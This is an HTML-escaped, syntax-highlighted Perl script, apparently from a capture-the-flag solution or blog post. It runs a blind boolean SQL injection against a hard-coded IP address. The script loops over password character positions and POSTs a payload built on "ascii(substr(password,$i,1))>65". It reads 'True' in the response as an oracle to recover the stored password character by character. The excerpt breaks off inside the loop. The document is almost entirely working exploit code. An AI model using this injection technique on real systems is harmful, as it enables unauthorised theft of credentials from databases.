&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;5.010&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;Encode&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;IO&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;Data&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Dumper&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;HTTP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Cookies&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;LWP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;URL&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Encode&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;qw&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;url_decode_utf8 url_encode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$cookie_jar&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;HTTP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Cookies&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; file &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;cookies.txt&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;LWP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;cookie_jar&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$cookie_jar&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Arg&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#Step1: &amp;gt; 65 (A)&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;url_decode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&#39;or if(ascii(substr(password,$i,1))&amp;gt;65,1,0) or &#39;0-- -&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: red;&quot;&gt;&#39;password&#39;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=~&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;co2&quot; style=&quot;color: #009966; font-style: italic;&quot;&gt;/True/i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;Char $i &amp;gt; 65\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
